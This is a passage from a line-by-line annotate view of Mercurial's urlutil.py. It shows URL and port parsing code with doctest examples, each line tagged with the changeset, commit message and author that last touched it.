author | Pierre-Yves David <pierre-yves.david@octobus.net> |
Wed, 11 Oct 2023 00:04:08 +0200 | |
changeset 51054 | ab2bc31fa91f |
parent 50929 | 18c8c18993f0 |
child 51136 | 591845f89ada |
permissions | -rw-r--r-- |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
1 |
# utils.urlutil - code related to [paths] management |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
2 |
# |
49830
bc59c1e5dd01
copyright: update to 2023
Matt Harbison <matt_harbison@yahoo.com>
parents:
48946
diff
changeset
|
3 |
# Copyright 2005-2023 Olivia Mackall <olivia@selenic.com> and others |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
4 |
# |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
5 |
# This software may be used and distributed according to the terms of the |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
6 |
# GNU General Public License version 2 or any later version. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
7 |
import os |
46907
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
8 |
import re as remod |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
9 |
import socket |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
10 |
|
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
11 |
from ..i18n import _ |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
12 |
from .. import ( |
46907
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
13 |
encoding, |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
14 |
error, |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
15 |
pycompat, |
46907
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
16 |
urllibcompat, |
50909
35885dbdc927
path-suboption: deprecated specifying the attributes as bytes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50908
diff
changeset
|
17 |
util, |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
18 |
) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
19 |
|
47273
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
20 |
from . import ( |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
21 |
stringutil, |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
22 |
) |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
23 |
|
49767
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49758
diff
changeset
|
24 |
from ..revlogutils import ( |
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49758
diff
changeset
|
25 |
constants as revlog_constants, |
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49758
diff
changeset
|
26 |
) |
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49758
diff
changeset
|
27 |
|
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
28 |
|
46907
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
29 |
if pycompat.TYPE_CHECKING: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
30 |
from typing import ( |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
31 |
Union, |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
32 |
) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
33 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
34 |
urlreq = urllibcompat.urlreq |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
35 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
36 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
37 |
def getport(port): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
38 |
# type: (Union[bytes, int]) -> int |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
39 |
"""Return the port for a given network service. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
40 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
41 |
If port is an integer, it's returned as is. If it's a string, it's |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
42 |
looked up using socket.getservbyname(). If there's no matching |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
43 |
service, error.Abort is raised. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
44 |
""" |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
45 |
try: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
46 |
return int(port) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
47 |
except ValueError: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
48 |
pass |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
49 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
50 |
try: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
51 |
return socket.getservbyname(pycompat.sysstr(port)) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
52 |
except socket.error: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
53 |
raise error.Abort( |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
54 |
_(b"no port number associated with service '%s'") % port |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
55 |
) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
56 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
57 |
|
48946
642e31cb55f0
py3: use class X: instead of class X(object):
Gregory Szorc <gregory.szorc@gmail.com>
parents:
48913
diff
changeset
|
58 |
class url: |
46907
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
59 |
r"""Reliable URL parser. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
60 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
61 |
This parses URLs and provides attributes for the following |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
62 |
components: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
63 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
64 |
<scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
65 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
66 |
Missing components are set to None. The only exception is |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
67 |
fragment, which is set to '' if present but empty. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
68 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
69 |
If parsefragment is False, fragment is included in query. If |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
70 |
parsequery is False, query is included in path. If both are |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
71 |
False, both fragment and query are included in path. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
72 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
73 |
See http://www.ietf.org/rfc/rfc2396.txt for more information. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
74 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
75 |
Note that for backward compatibility reasons, bundle URLs do not |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
76 |
take host names. That means 'bundle://../' has a path of '../'. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
77 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
78 |
Examples: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
79 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
80 |
>>> url(b'http://www.ietf.org/rfc/rfc2396.txt') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
81 |
<url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
82 |
>>> url(b'ssh://[::1]:2200//home/joe/repo') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
83 |
<url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
84 |
>>> url(b'file:///home/joe/repo') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
85 |
<url scheme: 'file', path: '/home/joe/repo'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
86 |
>>> url(b'file:///c:/temp/foo/') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
87 |
<url scheme: 'file', path: 'c:/temp/foo/'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
88 |
>>> url(b'bundle:foo') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
89 |
<url scheme: 'bundle', path: 'foo'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
90 |
>>> url(b'bundle://../foo') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
91 |
<url scheme: 'bundle', path: '../foo'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
92 |
>>> url(br'c:\foo\bar') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
93 |
<url path: 'c:\\foo\\bar'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
94 |
>>> url(br'\\blah\blah\blah') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
95 |
<url path: '\\\\blah\\blah\\blah'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
96 |
>>> url(br'\\blah\blah\blah#baz') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
97 |
<url path: '\\\\blah\\blah\\blah', fragment: 'baz'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
98 |
>>> url(br'file:///C:\users\me') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
99 |
<url scheme: 'file', path: 'C:\\users\\me'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
100 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
101 |
Authentication credentials: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
102 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
103 |
>>> url(b'ssh://joe:xyz@x/repo') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
104 |
<url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
105 |
>>> url(b'ssh://joe@x/repo') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
106 |
<url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
107 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
108 |
Query strings and fragments: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
109 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
110 |
>>> url(b'http://host/a?b#c') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
111 |
<url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
112 |
>>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
113 |
<url scheme: 'http', host: 'host', path: 'a?b#c'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
114 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
115 |
Empty path: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
116 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
117 |
>>> url(b'') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
118 |
<url path: ''> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
119 |
>>> url(b'#a') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
120 |
<url path: '', fragment: 'a'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
121 |
>>> url(b'http://host/') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
122 |
<url scheme: 'http', host: 'host', path: ''> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
123 |
>>> url(b'http://host/#a') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
124 |
<url scheme: 'http', host: 'host', path: '', fragment: 'a'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
125 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
126 |
Only scheme: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
127 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
128 |
>>> url(b'http:') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
129 |
<url scheme: 'http'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
130 |
""" |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
131 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
132 |
_safechars = b"!~*'()+" |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
133 |
_safepchars = b"/!~*'()+:\\" |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
134 |
_matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
135 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
136 |
def __init__(self, path, parsequery=True, parsefragment=True): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
137 |
# type: (bytes, bool, bool) -> None |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
138 |
# We slowly chomp away at path until we have only the path left |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
139 |
self.scheme = self.user = self.passwd = self.host = None |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
140 |
self.port = self.path = self.query = self.fragment = None |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
141 |
self._localpath = True |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
142 |
self._hostport = b'' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
143 |
self._origpath = path |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
144 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
145 |
if parsefragment and b'#' in path: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
146 |
path, self.fragment = path.split(b'#', 1) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
147 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
148 |
# special case for Windows drive letters and UNC paths |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
149 |
if hasdriveletter(path) or path.startswith(b'\\\\'): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
150 |
self.path = path |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
151 |
return |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
152 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
153 |
# For compatibility reasons, we can't handle bundle paths as |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
154 |
# normal URLS |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
155 |
if path.startswith(b'bundle:'): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
156 |
self.scheme = b'bundle' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
157 |
path = path[7:] |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
158 |
if path.startswith(b'//'): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
159 |
path = path[2:] |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
160 |
self.path = path |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
161 |
return |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
162 |
|
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
163 |
if self._matchscheme(path): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
164 |
parts = path.split(b':', 1) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
